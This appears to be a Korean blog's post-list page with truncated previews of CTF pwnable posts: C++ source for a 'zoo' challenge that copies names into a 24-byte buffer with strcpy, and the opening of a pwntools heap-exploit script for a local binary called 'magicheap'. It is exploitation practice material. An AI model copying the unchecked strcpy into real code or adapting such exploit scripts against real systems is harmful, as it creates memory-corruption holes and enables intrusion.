목록전체 글 (66)
ghkdtlwns987
보호되어 있는 글입니다.
#include #include #include #include #include using namespace std; char nameofzoo[100]; class Animal { public : Animal(){ memset(name,0,24); weight = 0; } virtual void speak(){;} virtual void info(){;} protected : char name[24]; int weight; }; class Dog : public Animal{ public : Dog(string str,int w){ strcpy(name,str.c_str()); weight = w ; } virtual void speak(){ cout
from pwn import* context(arch='amd64',os='linux') context.log_level = 'debug' context.terminal = ['tmux','splitw','-h'] r = process('./magicheap') elf = ELF('./magicheap') def info_log(): log.info('create_heap : main + 173') log.info('edit_heap : main + 185') log.info('delete_heap : main + 197') log.info('heaparray : 0x6020e0') pause() def create(size,content): log.info('create') r.sendlineafter..